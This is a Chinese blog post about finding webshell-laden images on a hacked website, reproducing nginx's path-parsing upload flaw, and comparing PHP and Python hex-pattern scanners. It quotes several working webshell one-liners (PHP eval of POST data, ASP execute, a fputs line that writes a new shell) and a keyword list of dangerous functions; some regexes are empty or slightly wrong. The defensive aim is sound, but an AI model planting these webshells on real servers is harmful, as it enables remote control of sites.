网站图片挂马检测及PHP与python的图片文件恶意代码检测对比
前言
周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。
取出部分大致如下:
| 服务器IP/名称 | 木马文件路径 | 更新时间 | 木马类型 | 状态(全部) |
|---|---|---|---|---|
| *.*.*.* | /path/*144.gif | 2017/8/7 5:53 | Webshell | 待处理 |
| *.*.*.* | /path/*132.jpg | 2017/8/7 5:23 | Webshell | 待处理 |
| *.*.*.* | /path/*156.txt | 2017/8/7 5:22 | Webshell | 待处理 |
| *.*.*.* | /path/*0304.jpg | 2017/8/7 5:22 | 木马文件 | 待处理 |
分析
检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。
检查
path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++检查警告中显示的图片文件后发现,木马类型为Webshell或木马文件的图片或文件内含有恶意代码例如:
<%execute(request("a"))%>
<?php eval($_POST['a']);?>
<?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?>
<% @Page Language="Jscript"%>
<%eval(Request.Item["TNT"],"unsafe");%>
使用Notepad++的十六进制模式(需安装插件HEX-Editor)查看
验证
经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞。
正好我的虚拟机上有nginx立刻来试一下。
| 虚拟机配置 | 版本 |
|---|---|
| nginx | 1.10.1 |
| php | 7.2.0-dev |
- 首先用画图随便造个图片
- 使用
Notepad++ Hex-Editor将<?php phpinfo(); ?>插入任意角落。
- 将此图片传入虚拟机中
- 在虚拟机中编辑php的php.ini,将
;cgi.fix_pathinfo=1打开 - 运行nginx,查看效果

经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。
过滤
先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中
<%a(a)a%>00000
<?a(a)a?>00000
<script0000000
<SCRIPT0000000
script>0000000
SCRIPT>0000000
转成十六进制
由此可以得出彼此对应的十六进制
| < | % | ( | ) | % | > |
|---|---|---|---|---|---|
| 3c | 25 | 28 | 29 | 25 | 3e |
用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。
function osWalk($path,$dirs=[])
{
if (false != ($handle = opendir ( $path ))) {
while ( false !== ($file = readdir ( $handle )) ) {
if ($file != "." && $file != "..") {
if(is_file($path.'\\'.$file))
$dirs[]=$path.'\\'.$file;
else
$dirs=osWalk($path.'\\'.$file,$dirs);
}
}
closedir ( $handle );
}
return $dirs;
}
function checkHex($img_path)
{
if (file_exists($img_path)) {
$resource = fopen($img_path, 'rb');
$fileSize = filesize($img_path);
fseek($resource, 0); //把文件指针移到文件的开头
$hexCode = bin2hex(fread($resource, $fileSize));
fclose($resource);
/* 匹配16进制中 <?php ?>|eval|fputs|fwrite */
if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))
return true;
else
return false;
} else {
return false;
}
}
$scan_start=microtime(true);
$qsFiles=osWalk('e:\path_to_image');
$scan_end=microtime(true);
$res=[];
$check_start=microtime(true);
foreach($qsFiles as $qs){
if (checkHex($qs))
$res[]=$qs;
}
$check_end=microtime(true);
echo vsprintf('文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>',array(
count($qsFiles), count($res),
$scan_end-$scan_start,
$check_end-$check_start
));
//echo implode('<br>',$res);
#文件总数:1320,中标文件:28
#扫描时间:1.16秒,检测时间:125.50秒
觉得这样查时间有点多,用python也写了一个批量匹配
#!/usr/bin/python
# -*- coding:utf-8 -*-
import os,re,time,math;
def check_hex(img_path,p):
with open(img_path,'rb') as f:
content=f.read();
f.close();
if p.search(content.encode('hex')):
return True;
return False;
def main():
#<?php ?>|eval|fputs|fwrite
p1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');
scan_start=time.time();
total_files=0;total_taged=[];
for parent,dirname,filenames in os.walk(r'E:\path_to_image'):
for file in filenames:
img_path=parent+os.path.sep+file;
total_files+=1;
if check_hex(img_path,p1):
total_taged.append(img_path);
scan_end=time.time(); print u'扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));
#for tag in total_taged:
# print tag;
print 'END';
if __name__=='__main__':
main(); #扫描完成!总用时:97.24秒。
#总共扫描文件数: 1320,中标文件数: 28。
在相同的匹配条件下python的速度比php快22.4%。
PHP与python相同情况下扫描用时对比
接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:
<?php ?>|<% %>|eval
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 956 | 14.81 |
| python | 958 | 11.58 |
正则组合2:
<?php ?>|<% %>|eval|exec
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 956 | 18.40 |
| python | 958 | 13.85 |
正则组合3:
<?php ?>|<% %>|eval|exec|write|put
(3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|()|()|()
| 语言 | 中标数 | 用时(秒) |
|---|---|---|
| PHP | 961 | 26.74 |
| python | 963 | 17.90 |
友情赠送
使用python获取字符串的十六进制比较方便,只需
print 'string'.encode('hex'); #737472696e67
这里放一点图片恶意代码,若有需要请随意使用
| 图片恶意代码 | hex |
|---|---|
| \<\?php \?> | 3c3f706870.*\?3f3e |
| \<\? \?> | 3c3f.*\?3f3e |
| \<\% \%> | 3c25.*\?253e |
| exec | 65786563 |
| eval | 6576616c |
| system | 73797374656d |
| passthru | 061737374687275 |
| fputs | 6670757473 |
| fwrite | 667772697465 |
总结
通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题。
备注:本文发布于2017-08-14,我github page的原文地址。
网站图片挂马检测及PHP与python的图片文件恶意代码检测对比的更多相关文章
- wordpress网站被挂马以及防御方法
wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...
- 恶意代码检测工具 -- Mathematics Malware Detected Tools
Mathematics Malware Detected Tools 重要:由于缺少测试数据,部分结论可能不正确.更多更准确的结论,还需要进行大量实验. 概述 mmdt(Mathematics Mal ...
- 机器学习&恶意代码检测简介
Malware detection 目录 可执行文件简介 检测方法概述 资源及参考文献 可执行文件简介 ELF(Executable Linkable Format) linux下的可执行文件格式,按 ...
- 解决web网站被挂马清除方法
案例:某公司一个lamp的服务器网站站点目录下所有文件均被植入了广告脚本如下内容: <script language=javascriptsrc=http://%4%66E%78%72%67%2 ...
- Python读取mdb文件以及shell检测
最近写了两个python的脚本不过实际意义不是很大,就是想练练python写程序,一直研究web方面脚本写的少多了,还有C语言也用的少多了.现在有时间得多写写程序,别把以前学到的知识给忘了. 作者: ...
- 常见JS挂马方法及如何防止网站被黑客挂马?
最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定.可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因.最后发现是网站被挂马了,导致网站被连累了.在此,借助马海祥博客的平台,给 ...
- 基于git diff进行的eslint代码检测
缘起 在项目中, 通常都会使用代码检测工具来规范团队的代码风格, 比如eslint.随着代码的不断增加, eslint进行代码检测的时间也越来越久.每次检测的时候, 需要检测的文件和实际检测的文件极度 ...
- 基于深度学习的安卓恶意应用检测----------android manfest.xml + run time opcode, use 深度置信网络(DBN)
基于深度学习的安卓恶意应用检测 from:http://www.xml-data.org/JSJYY/2017-6-1650.htm 苏志达, 祝跃飞, 刘龙 摘要: 针对传统安卓恶意程序检测 ...
- SonarQube 之 gitlab-plugin 配合 gitlab-ci 完成每次 commit 代码检测
转载自:https://cloud.tencent.com/developer/article/1010601 1.背景介绍 我们知道使用 SonarQube 可以在日常开发中检测代码质量,除了使用 ...
随机推荐
- Python3爬虫登录模拟
使用Python爬虫登录系统之后,能够实现的操作就多了很多,下面大致介绍下如何使用Python模拟登录. 我们都知道,在前端的加密验证,只要把将加密环境还原出来,便能够很轻易地登录. 首先分析登录的步 ...
- JAVA基础知识总结:二
一.数据类型 1.常量 在程序运行的过程中,值不会发生改变的标识符 常量的分类:整数常量.小数常量.布尔值常量.字符常量.字符串常量.null常量 2.变量 表示的值可以发生改变 定义一个变量,需要在 ...
- Quart.Net分布式任务管理平台
无关主题:一段时间没有更新文章了,与自己心里的坚持还是背驰,虽然这期间在公司做了统计分析,由于资源分配问题,自己或多或少的原因,确实拖得有点久了,自己这段时间也有点松懈,借口就不说那么多 ...
- 前端开发:如何写一手漂亮的 Vue
前几日听到一句生猛与激励并存,可怕与尴尬同在,最无奈也无解的话:"90后,你的中年危机已经杀到".这令我很受触动.显然,这有些夸张了,但就目前这日复一日的庸碌下去,眨眼的功夫,那情 ...
- Hdu 1698(线段树 区间修改 区间查询)
In the game of DotA, Pudge's meat hook is actually the most horrible thing for most of the heroes. T ...
- 通过xinetd服务管理 rsync 实现开机自启动
1.1 xinetd服务配置 1.1.1 检查xinetd服务是否安装 [root@backup ~]# rpm -qa xinetd [root@backup ~]# rpm -ql xinetd ...
- awk命令练习
文件 file.txt的内容格式: 文件中包含名字,电话号码和过去三个月里的捐款 具体内容如下: Mike Harrington:[510] 548-1278:250:100:175 Christia ...
- display:none,float小秘密
一个元素不管是块元素还是行内元素 在添加了 display:none 之后,就变成了不可见的块元素,可以给他添加长度和高度 在float之后内联元素也会隐性成为 inline-block ...
- 安装MongoDB启动时报错‘发生系统错误2’的解决办法
安装数据库mongodb启动时报"发生系统错误2". 这个问题是如果你之前已经装过一次,并且两次安装目录不同,就绝对会碰到的,因为你之前安装的路径已经在注册表中生成了,并没有随着你 ...
- Mac Os系统设置
显示Mac隐藏文件的命令: defaults write com.apple.finder AppleShowAllFiles -bool true 隐藏Mac隐藏文件的命令:defaults wri ...